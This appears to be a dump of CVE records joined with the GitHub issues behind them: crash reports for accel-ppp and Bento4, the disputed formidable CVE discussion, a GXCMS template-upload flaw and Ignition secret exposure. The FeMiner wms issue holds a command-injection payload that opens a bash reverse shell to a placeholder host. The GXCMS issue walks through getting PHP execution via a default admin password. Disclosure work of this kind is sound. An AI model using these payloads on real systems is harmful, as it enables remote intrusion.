#0 0x484d4c in pthread_create /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:205:3
#1 0x7f78714c6eee in create_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:320:9
#2 0x7f78714cdc17 in triton_run /root/projects/accel-ppp/accel-pppd/triton/triton.c:744:7
#3 0x559603 in main /root/projects/accel-ppp/accel-pppd/main.c:415:2
#4 0x7f7870d630b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: stack-buffer-underflow /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
Shadow bytes around the buggy address:
0x0fef8bd0df70: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0df80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0df90: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0dfa0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0dfb0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
=>0x0fef8bd0dfc0: f1 f1 f1[f1]00 00 00 00 00 00 00 00 00 00 00 00
0x0fef8bd0dfd0: 00 00 00 00 00 00 04 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x0fef8bd0dfe0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0dff0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0e000: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0e010: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2434668==ABORTING
```
## Reproduce info
Build `access-ppp`:
```shell
mkdir build && cd build
cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DBUILD_DRIVER=false -DCMAKE_INSTALL_PREFIX=/usr/local -DCMAKE_BUILD_TYPE=Debug -DLOG_PGSQL=TRUE -DSHAPER=TRUE -DRADIUS=TRUE -DNETSNMP=TRUE ..
CC=clang CXX=clang++ CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" make -j
make install
```
Run `access-pppd`, use the following command:
```shell
accel-pppd -c /etc/accel-ppp.conf
```
The running configuration `/etc/accel-ppp.conf` is:
```
[modules]
log_file
#log_syslog
#log_tcp
#log_pgsql
pptp
l2tp
#sstp
#pppoe
#ipoe
auth_mschap_v2
auth_mschap_v1
auth_chap_md5
auth_pap
#radius
chap-secrets
ippool
pppd_compat
#shaper
#net-snmp
#logwtmp
#connlimit
#ipv6_nd
#ipv6_dhcp
#ipv6pool
[core]
log-error=/var/log/accel-ppp/core.log
thread-count=4
[common]
#single-session=replace
#single-session-ignore-case=0
#sid-case=upper
#sid-source=seq
#max-sessions=1000
#max-starting=0
#check-ip=0
[ppp]
verbose=1
min-mtu=1280
mtu=1400
mru=1400
#accomp=deny
#pcomp=deny
#ccp=0
#mppe=require
ipv4=require
ipv6=deny
ipv6-intf-id=0:0:0:1
ipv6-peer-intf-id=0:0:0:2
ipv6-accept-peer-intf-id=1
lcp-echo-interval=20
#lcp-echo-failure=3
lcp-echo-timeout=120
unit-cache=1
#unit-preallocate=1
[auth]
#any-login=0
#noauth=0
[pptp]
verbose=1
#echo-interval=30
ip-pool=pool1
#ipv6-pool=pptp
#ipv6-pool-delegate=pptp
ifname=pptp%d
#port=9300
#mppe=prefer
[pppoe]
verbose=1
#ac-name=xxx
#service-name=yyy
#pado-delay=0
#pado-delay=0,100:100,200:200,-1:500
called-sid=mac
#tr101=1
#padi-limit=0
#ip-pool=pppoe
#ipv6-pool=pppoe
#ipv6-pool-delegate=pppoe
#ifname=pppoe%d
#sid-uppercase=0
#vlan-mon=eth0,10-200
#vlan-timeout=60
#vlan-name=%I.%N
#interface=eth1,padi-limit=1000
interface=ens18
[l2tp]
verbose=1
#dictionary=/usr/local/share/accel-ppp/l2tp/dictionary
#hello-interval=60
#timeout=60
#rtimeout=1
#rtimeout-cap=16
#retransmit=5
#recv-window=16
#host-name=accel-ppp
#dir300_quirk=0
#secret=
#dataseq=allow
#reorder-timeout=0
#ip-pool=l2tp
#ipv6-pool=l2tp
#ipv6-pool-delegate=l2tp
#ifname=l2tp%d
[sstp]
verbose=1
#cert-hash-proto=sha1,sha256
#cert-hash-sha1=
#cert-hash-sha256=
#accept=ssl,proxy
#ssl-protocol=tls1,tls1.1,tls1.2,tls1.3
#ssl-dhparam=/etc/ssl/dhparam.pem
#ssl-ecdh-curve=prime256v1
#ssl-ciphers=DEFAULT
#ssl-prefer-server-ciphers=0
#ssl-ca-file=/etc/ssl/sstp-ca.crt
#ssl-pemfile=/etc/ssl/sstp-cert.pem
#ssl-keyfile=/etc/ssl/sstp-key.pem
#host-name=domain.tld
#http-error=allow
#timeout=60
#hello-interval=60
#ip-pool=sstp
#ipv6-pool=sstp
#ipv6-pool-delegate=sstp
#ifname=sstp%d
[ipoe]
verbose=1
username=ifname
#password=username
lease-time=600
#renew-time=300
#rebind-time=525
max-lease-time=3600
#unit-cache=1000
#l4-redirect-table=4
#l4-redirect-ipset=l4
#l4-redirect-on-reject=300
#l4-redirect-ip-pool=pool1
shared=0
ifcfg=1
mode=L2
start=dhcpv4
#start=up
#ip-unnumbered=1
#proxy-arp=0
#nat=0
#proto=100
#relay=10.10.10.10
#vendor=Custom
#weight=0
#attr-dhcp-client-ip=DHCP-Client-IP-Address
#attr-dhcp-router-ip=DHCP-Router-IP-Address
#attr-dhcp-mask=DHCP-Mask
#attr-dhcp-lease-time=DHCP-Lease-Time
#attr-dhcp-renew-time=DHCP-Renewal-Time
#attr-dhcp-rebind-time=DHCP-Rebinding-Time
#attr-dhcp-opt82=DHCP-Option82
#attr-dhcp-opt82-remote-id=DHCP-Agent-Remote-Id
#attr-dhcp-opt82-circuit-id=DHCP-Agent-Circuit-Id
#attr-l4-redirect=L4-Redirect
#attr-l4-redirect-table=4
#attr-l4-redirect-ipset=l4-redirect
#lua-file=/etc/accel-ppp.lua
#offer-delay=0,100:100,200:200,-1:1000
#vlan-mon=eth0,10-200
#vlan-timeout=60
#vlan-name=%I.%N
#ip-pool=ipoe
#ipv6-pool=ipoe
#ipv6-pool-delegate=ipoe
#idle-timeout=0
#session-timeout=0
#soft-terminate=0
#check-mac-change=1
#calling-sid=mac
#local-net=192.168.0.0/16
interface=eth0
[dns]
#dns1=172.16.0.1
#dns2=172.16.1.1
[wins]
#wins1=172.16.0.1
#wins2=172.16.1.1
[radius]
#dictionary=/usr/local/share/accel-ppp/radius/dictionary
nas-identifier=accel-ppp
nas-ip-address=127.0.0.1
gw-ip-address=192.168.100.1
server=127.0.0.1,testing123,auth-port=1812,acct-port=1813,req-limit=50,fail-timeout=0,max-fail=10,weight=1
dae-server=127.0.0.1:3799,testing123
verbose=1
#timeout=3
#max-try=3
#acct-timeout=120
#acct-delay-time=0
#acct-on=0
#acct-interim-interval=0
#acct-interim-jitter=0
#default-realm=
#strip-realm=0
#attr-tunnel-type=My-Tunnel-Type
[client-ip-range]
0.0.0.0/0
[ip-pool]
gw-ip-address=192.168.0.1
#vendor=Cisco
#attr=Cisco-AVPair
attr=Framed-Pool
192.168.0.2-255
192.168.1.1-255,name=pool1
192.168.2.1-255,name=pool2
192.168.3.1-255,name=pool3
192.168.4.1-255,name=pool4,next=pool1
192.168.4.0/24
[log]
log-file=/var/log/accel-ppp/accel-ppp.log
log-emerg=/var/log/accel-ppp/emerg.log
log-fail-file=/var/log/accel-ppp/auth-fail.log
log-debug=/dev/stdout
syslog=accel-pppd,daemon
#log-tcp=127.0.0.1:3000
copy=1
color=1
#per-user-dir=per_user
#per-session-dir=per_session
#per-session=1
level=5
[log-pgsql]
conninfo=user=log
log-table=log
[pppd-compat]
verbose=1
#ip-pre-up=/etc/ppp/ip-pre-up
ip-up=/etc/ppp/ip-up
ip-down=/etc/ppp/ip-down
#ip-change=/etc/ppp/ip-change
radattr-prefix=/var/run/radattr
#fork-limit=16
[chap-secrets]
gw-ip-address=192.168.100.1
chap-secrets=/etc/ppp/chap-secrets.ppp
#encrypted=0
#username-hash=md5
[shaper]
#attr=Filter-Id
#down-burst-factor=0.1
#up-burst-factor=1.0
#latency=50
#mpu=0
#mtu=0
#r2q=10
#quantum=1500
#moderate-quantum=1
#cburst=1534
#ifb=ifb0
up-limiter=police
down-limiter=tbf
#leaf-qdisc=sfq perturb 10
#leaf-qdisc=fq_codel [limit PACKETS] [flows NUMBER] [target TIME] [interval TIME] [quantum BYTES] [[no]ecn]
#rate-multiplier=1
#fwmark=1
#rate-limit=2048/1024
verbose=1
[cli]
verbose=1
telnet=127.0.0.1:2000
tcp=127.0.0.1:2001
#password=123
#sessions-columns=ifname,username,ip,ip6,ip6-dp,type,state,uptime,uptime-raw,calling-sid,called-sid,sid,comp,rx-bytes,tx-bytes,rx-bytes-raw,tx-bytes-raw,rx-pkts,tx-pkts
[snmp]
master=0
agent-name=accel-ppp
[connlimit]
limit=10/min
burst=3
timeout=60
[ipv6-pool]
#gw-ip6-address=fc00:0:1::1
#vendor=
#attr-prefix=Delegated-IPv6-Prefix-Pool
#attr-address=Stateful-IPv6-Address-Pool
fc00:0:1::/48,64
fc00:0:2::/48,64,name=pool1
fc00:0:3::/48,64,name=pool2,next=pool1
delegate=fc00:1::/36,48
delegate=fc00:2::/36,48,name=pool3
delegate=fc00:3::/36,48,name=pool4,next=pool3
[ipv6-dns]
#fc00:1::1
#fc00:1::2
#fc00:1::3
#dnssl=suffix1.local.net
#dnssl=suffix2.local.net.
[ipv6-dhcp]
verbose=1
pref-lifetime=604800
valid-lifetime=2592000
route-via-gw=1
```
use `chap-secrets` and the `/etc/ppp/chap-secrets.ppp` is as follows:
```
# Secrets for authentication using CHAP
# client server secret IP addresses
fouzhe * 123 *
```
| Abnormal packet sequence can cause stack-buffer-underflow | https://api.github.com/repos/xebd/accel-ppp/issues/158/comments | 1 | 2021-10-18T14:22:42Z | 2021-12-20T12:59:44Z | https://github.com/xebd/accel-ppp/issues/158 | 1,029,188,950 | 158 | 3,607 |
CVE-2021-42897 | 2022-05-16T14:15:07.777 | A remote command execution (RCE) vulnerability was found in FeMiner wms V1.0 in /wms/src/system/datarec.php. The $_POST[r_name] is directly passed into the $mysqlstr and is executed by exec. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/FeMiner/wms/issues/12"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/FeMiner/wms/issues/12"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:feminer_wms_project:feminer_wms:1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B0389D1B-170B-4EE0-B451-893A50CDDDF3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"78"
] | 78 | https://github.com/FeMiner/wms/issues/12 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"FeMiner",
"wms"
] | A RCE was found in system/datarec.php, the `$_POST[r_name]` is directly passed into the $mysqlstr, and is executed by exec, which causing a RCE.
POC:
Firstly, start a nc listener:
Next, post a request with parameter:
r_name=$(bash -c 'bash -i >& /dev/tcp/x.x.x.x/8888 0<&1 2>&1')
Finally, you get the reverse shell:
| Remote Command Execution vulnerability in /wms/src/system/datarec.php | https://api.github.com/repos/FeMiner/wms/issues/12/comments | 1 | 2021-10-18T18:03:31Z | 2025-01-16T07:38:18Z | https://github.com/FeMiner/wms/issues/12 | 1,029,431,216 | 12 | 3,608 |
CVE-2022-29017 | 2022-05-16T14:15:07.863 | Bento4 v1.6.0.0 was discovered to contain a segmentation fault via the component /x86_64/multiarch/strlen-avx2.S. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/691"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/691"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "23A9C6DA-83D1-4248-B977-29C56C791132",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"755"
] | 755 | https://github.com/axiomatic-systems/Bento4/issues/691 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | SUMMARY: AddressSanitizer: SEGV /build/glibc-sMfBJT/glibc-2.31/string/../sysdeps/x86_64/multiarch/strlen-avx2.S:65
- Version
```
➜ mp42hls_test git:(master) ✗ ./mp42hls
MP4 To HLS File Converter - Version 1.2
(Bento4 Version 1.6.0.0)
(c) 2002-2018 Axiomatic Systems, LLC
```
branch 4d8e1fc
- Platform
```
➜ gcc --version
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
➜ uname -r
5.4.0-91-generic
➜ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.5 LTS
Release: 18.04
Codename: bionic
```
- Steps to reproduce
```
mkdir build
cd build
cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_MODULE_LINKER_FLAGS="-fsanitize=address"
make
./mp42hls --encryption-iv-mode fps ./poc
```
- Asan
```
➜ build git:(master) ✗ ./mp42hls --encryption-iv-mode fps ./poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==15594==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fd9e20834e5 bp 0x7ffe2c690150 sp 0x7ffe2c68f8c8 T0)
==15594==The signal is caused by a READ memory access.
==15594==Hint: address points to the zero page.
#0 0x7fd9e20834e4 (/lib/x86_64-linux-gnu/libc.so.6+0x18b4e4)
#1 0x7fd9e249c8fb (/lib/x86_64-linux-gnu/libasan.so.5+0x678fb)
#2 0x557f40b2b5f3 in main /home/lin/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1853
#3 0x7fd9e1f1f0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#4 0x557f40b1f96d in _start (/home/lin/Bento4/build/mp42hls+0x32b96d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18b4e4)
==15594==ABORTING
```
poc: [poc.zip](https://github.com/axiomatic-systems/Bento4/files/8459235/poc.zip)
Thanks !! | AddressSanitizer: SEGV /build/glibc-sMfBJT/glibc-2.31/string/../sysdeps/x86_64/multiarch/strlen-avx2.S:65 | https://api.github.com/repos/axiomatic-systems/Bento4/issues/691/comments | 1 | 2022-04-10T14:50:23Z | 2022-05-17T06:24:00Z | https://github.com/axiomatic-systems/Bento4/issues/691 | 1,199,061,348 | 691 | 3,609 |
CVE-2022-29622 | 2022-05-16T14:15:08.027 | An arbitrary file upload vulnerability in formidable v3.1.4 allows attackers to execute arbitrary code via a crafted filename. NOTE: some third parties dispute this issue because the product has common use cases in which uploading arbitrary files is the desired behavior. Also, there are configuration options in all versions that can change the default behavior of how files are handled. Strapi does not consider this to be a valid vulnerability. | {
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"formidable"
] | https://www.whitesourcesoftware.com/vulnerability-database/CVE-2022-29622 | Vulnerability CVE-2022-29622 is reported by Whitesource | https://api.github.com/repos/node-formidable/formidable/issues/856/comments | 40 | 2022-05-19T05:55:03Z | 2022-06-09T23:27:29Z | https://github.com/node-formidable/formidable/issues/856 | 1,241,251,025 | 856 | 3,610 |
CVE-2022-29622 | 2022-05-16T14:15:08.027 | An arbitrary file upload vulnerability in formidable v3.1.4 allows attackers to execute arbitrary code via a crafted filename. NOTE: some third parties dispute this issue because the product has common use cases in which uploading arbitrary files is the desired behavior. Also, there are configuration options in all versions that can change the default behavior of how files are handled. Strapi does not consider this to be a valid vulnerability. | {
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"node-formidable",
"formidable"
] | I came across your filename handling and filtering with the CVE-2022-29622 and this issue
https://github.com/node-formidable/formidable/issues/856#issuecomment-1139648406_
First you got blamed also inappropriate by this CVE-2022-29622 whoever is responsible for publishing this without correct approval.
Filenames of forms can have html-tags and js-like-text, like any other form inputs and it is the responsibility of the lib user to handle this, because only he/she knows where this filename is used and what is a safety risc. All this filtering and replacement makes it worse, because the original filename of upload gets lost.
Why I've opened this issue: Now your current code of __formidable__ has some filename filtering which is __dysfunctional__.
This is an example you can put in e.g. https://replit.com/languages/nodejs
The code is from your current master https://github.com/node-formidable/formidable/blob/master/src/Formidable.js and I've added some asserts to show the problem.
```js
const assert = require('assert');
const path = require('path');
const invalidExtensionChar = (c) => {
const code = c.charCodeAt(0);
return !(
code === 46 || // .
(code >= 48 && code <= 57) ||
(code >= 65 && code <= 90) ||
(code >= 97 && code <= 122)
);
};
function _getFileName(headerValue) {
// matches either a quoted-string or a token (RFC 2616 section 19.5.1)
const m = headerValue.match(
/\bfilename=("(.*?)"|([^()<>{}[\]@,;:"?=\s/\t]+))($|;\s)/i,
);
if (!m) return null;
const match = m[2] || m[3] || '';
let originalFilename = match.substr(match.lastIndexOf('\\') + 1);
originalFilename = originalFilename.replace(/%22/g, '"');
originalFilename = originalFilename.replace(/&#([\d]{4});/g, (_, code) =>
String.fromCharCode(code),
);
return originalFilename;
}
// able to get composed extension with multiple dots
// "a.b.c" -> ".b.c"
// as opposed to path.extname -> ".c"
function _getExtension(str) {
if (!str) {
return '';
}
const basename = path.basename(str);
const firstDot = basename.indexOf('.');
const lastDot = basename.lastIndexOf('.');
let rawExtname = path.extname(basename);
assert(rawExtname === '.txt'); // node knows how to do it
if (firstDot !== lastDot) {
rawExtname = basename.slice(firstDot);
}
let filtered;
const firstInvalidIndex = Array.from(rawExtname).findIndex(invalidExtensionChar);
if (firstInvalidIndex === -1) {
filtered = rawExtname;
} else {
filtered = rawExtname.substring(0, firstInvalidIndex);
}
if (filtered === '.') {
return '';
}
return filtered;
}
let headerValue = 'filename="data-<test@example.com>.txt"';
let filename = _getFileName(headerValue);
let ext = _getExtension(filename);
assert(ext !== '.com', 'wrong extension .com !== .txt: dangerous executable');
assert(ext === '.txt'); // all would be fine
``` | Filename filtering is inappropriate | https://api.github.com/repos/node-formidable/formidable/issues/862/comments | 7 | 2022-05-27T14:51:41Z | 2022-10-04T14:24:04Z | https://github.com/node-formidable/formidable/issues/862 | 1,250,859,256 | 862 | 3,611 |
CVE-2022-29622 | 2022-05-16T14:15:08.027 | An arbitrary file upload vulnerability in formidable v3.1.4 allows attackers to execute arbitrary code via a crafted filename. NOTE: some third parties dispute this issue because the product has common use cases in which uploading arbitrary files is the desired behavior. Also, there are configuration options in all versions that can change the default behavior of how files are handled. Strapi does not consider this to be a valid vulnerability. | {
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] | 434 | https://github.com/strapi/strapi/issues/20189 | null | github.com | [
"strapi",
"strapi"
] | Since we have seen an uptick in users submitting vulnerability reports and improperly reporting the issue (in violation of our [Security Policy](https://github.com/strapi/strapi/blob/develop/SECURITY.md)) via GitHub issues I am creating this notice to add some clarification.
Several points related to this:
- Strapi is not vulnerable to this as it was always intended by Formidable that applications are responsible to properly handle file names as Formidable is a very low level library -> We do our own sanitation as it was intended
- This vulnerability should have never been considered valid to begin with and was requested to removed from the MITRE/NVD databases
- Snyk has already removed it as an invalid vulnerability
References:
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-29622
- Original issue from Formidable GH back in June 2022: https://github.com/node-formidable/formidable/issues/856
- Second issue from Formidable GH back in July 2022: https://github.com/node-formidable/formidable/issues/862
- Snyk database: https://security.snyk.io/vuln/SNYK-JS-FORMIDABLE-2838956
- Related reference from another project discussing this: https://github.com/jhuckaby/pixl-server-web/issues/4
- Another reference from another project discussing this: https://github.com/opensearch-project/OpenSearch-Dashboards/issues/1593
- Detailed breakdown of this "false" vulnerability report: https://gitlab.com/keymandll/blog/-/blob/master/posts/03062022-Invulnerability_Analysis-CVE-2022%E2%80%9329622/index.md
---
At this time, we Strapi, have no plans to modify dependencies to "resolve" this vulnerability as it should be removed from the various vulnerabilities databases in due time for being invalid.
Any issues or vulnerability reports opened with regards to this package will be immediately closed and locked. If you have questions or concerns about this decision you can comment below or reach out to the Strapi Security Team via security@strapi.io. | NOTICE: Formidable Vulnerability is NOT valid | https://api.github.com/repos/strapi/strapi/issues/20189/comments | 1 | 2024-04-23T22:31:59Z | 2024-05-23T14:41:56Z | https://github.com/strapi/strapi/issues/20189 | 2,259,885,049 | 20,189 | 3,612 |
CVE-2022-30007 | 2022-05-17T16:15:09.217 | GXCMS V1.5 has a file upload vulnerability in the background. The vulnerability is the template management page. You can edit any template content and then rename to PHP suffix file, after calling PHP file can control the server. | {
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"breezety",
"gxcms15"
] | 1. Environment construction
Built with PHPStudy2014 (Nginx+PHP5.3) and Ray CMS1.5.
Download from http://www.gxcms.org/
Put the website source code into the website root directory, access the address installation:
2. Vulnerability code audit
The vulnerability appears in the background template management page:
Audit the page source /views/admin/tpl_add.html file, see the filename received by filename file content received by content, and then pass the data to the POST. s=Admin/Tpl/Update page processing:
Track them down? S = Admin/Tpl/Update page source/core/Lib/Action/Admin/TplAction class. PHP file, see the Update function to receive the filename and the content variables, only after receiving the two variables for judging whether it is empty, The file name and file contents are not detected with dangerous characters, and data is directly written to the file using the write_file function, which means that there is any file upload vulnerability.
3. Exploit the vulnerability
Log in to the background of the target website through admin default password admin888 or password blasting or even phishing, click template management to enter the /template/default/Home directory, select any file and click edit:
Enter the editing page, enter the php test code in the file content form, start BurpSuite tool to capture the package, and click Submit:
BurpSuite after catching the package, change the filename suffix to php, and then click Put package:
Back to the background website template management, see the successful creation of my_hot_info.php file, visit the file page to see the successful execution of php test code:
| A file upload vulnerability exists in the background | https://api.github.com/repos/breezety/gxcms15/issues/1/comments | 0 | 2022-04-25T12:58:33Z | 2023-12-14T18:05:19Z | https://github.com/breezety/gxcms15/issues/1 | 1,214,470,506 | 1 | 3,613 |
CVE-2022-1706 | 2022-05-17T18:15:08.200 | A vulnerability was found in Ignition where ignition configs are accessible from unprivileged containers in VMs running on VMware products. This issue is only relevant in user environments where the Ignition config contains secrets. The highest threat from this vulnerability is to data confidentiality. Possible workaround is to not put secrets in the Ignition config. | {
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"coreos",
"ignition"
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How can we handle secrets in ignition config? For example disk enctyption keys or other sensitivt config for systemd services we declare there? | Security when using vmware to store the ignition config? | https://api.github.com/repos/coreos/ignition/issues/1300/comments | 2 | 2022-01-11T14:00:58Z | 2022-05-04T08:17:23Z | https://github.com/coreos/ignition/issues/1300 | 1,099,198,771 | 1,300 | 3,614 |
CVE-2022-1706 | 2022-05-17T18:15:08.200 | A vulnerability was found in Ignition where ignition configs are accessible from unprivileged containers in VMs running on VMware products. This issue is only relevant in user environments where the Ignition config contains secrets. The highest threat from this vulnerability is to data confidentiality. Possible workaround is to not put secrets in the Ignition config. | {
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"coreos",
"ignition"
] | # Feature Request #
## Environment ##
At least VirtualBox, VMware
## Desired Feature ##
Some platforms allow modifying or removing userdata using APIs accessible from the VM instance. On those platforms, consider deleting the Ignition config from the platform after Ignition completes.
## Other Information ##
Ignition configs may contain sensitive information that should not be accessible from workloads running on the machine. We currently do nothing to help users with sensitive userdata, and there is no documentation about the issue (https://github.com/coreos/fedora-coreos-docs/issues/306). On platforms with network metadata services, the user can write an Ignition config that firewalls off the metadata service (not documented in Fedora CoreOS: https://github.com/coreos/fedora-coreos-docs/issues/247). On platforms with in-hypervisor metadata accessible by non-root users (at least VMware), firewalling isn't an option, and the user must delete the metadata themselves.
Various minimalistic fixes are possible. We could publish docs on adding a systemd service that disables userdata access. If an external tool is necessary, we could ship it or recommend adding it to the OS. Or we could recommend that OSes check the platform ID and disable userdata access themselves.
However, we generally try to keep Ignition secure by default. I think it would make sense to delete userdata automatically wherever we have an API to do so. This is most important for platforms that can't be remediated by firewalling, but is still a worthwhile improvement on the others. On platforms where we can't delete userdata, we could log a warning recommending that users firewall or otherwise mitigate their risk.
In principle this would be a compatibility break, since it's possible for other software in the instance (or on a VM host) to intentionally access userdata. (That would be hacky, since the userdata must be formatted as an Ignition config for Ignition to care about it, but it's conceivable.) If we're concerned about this, we could add an Ignition config field (`ignition.config.delete`?) configuring whether Ignition performs the deletion. I think the default should certainly be `true` after the next major spec bump, but the short-term default is less clear, especially for old specs that don't have the field.
We'd need to delete userdata after Ignition completes, not after fetch succeeds. There are two reasons: kargs changes may reboot the machine and refetch userdata, and a failed Ignition run may be retried by the OS (since Ignition is mostly idempotent).
# Platform notes
## AWS
Network metadata service. Userdata can be changed with the `ModifyInstanceAttribute` control plane request, but there's no instance-side API. Control plane access is probably out of scope for us.
## Azure
On FCOS and RHCOS, Azure "custom data" access is already disabled at runtime, outside Ignition's control. Azure doesn't allow full access to a VM until it "checks in" to report that it has provisioned successfully, and this checkin causes Azure to disable access to the config drive. Checkin is handled by Afterburn, which runs in the initramfs on RHCOS (to avoid long delays for console access) and in the real root on FCOS (for eventual integration with automatic rollback: https://github.com/coreos/fedora-coreos-tracker/issues/47). It may or may not make sense to move this into Ignition.
The new Azure IMDS userdata mechanism (#1351) does not act this way. The instance can access userdata even after checkin, and there's no instance-side API to disable it.
## DigitalOcean
Network metadata service does not appear to support changing userdata.
## GCP
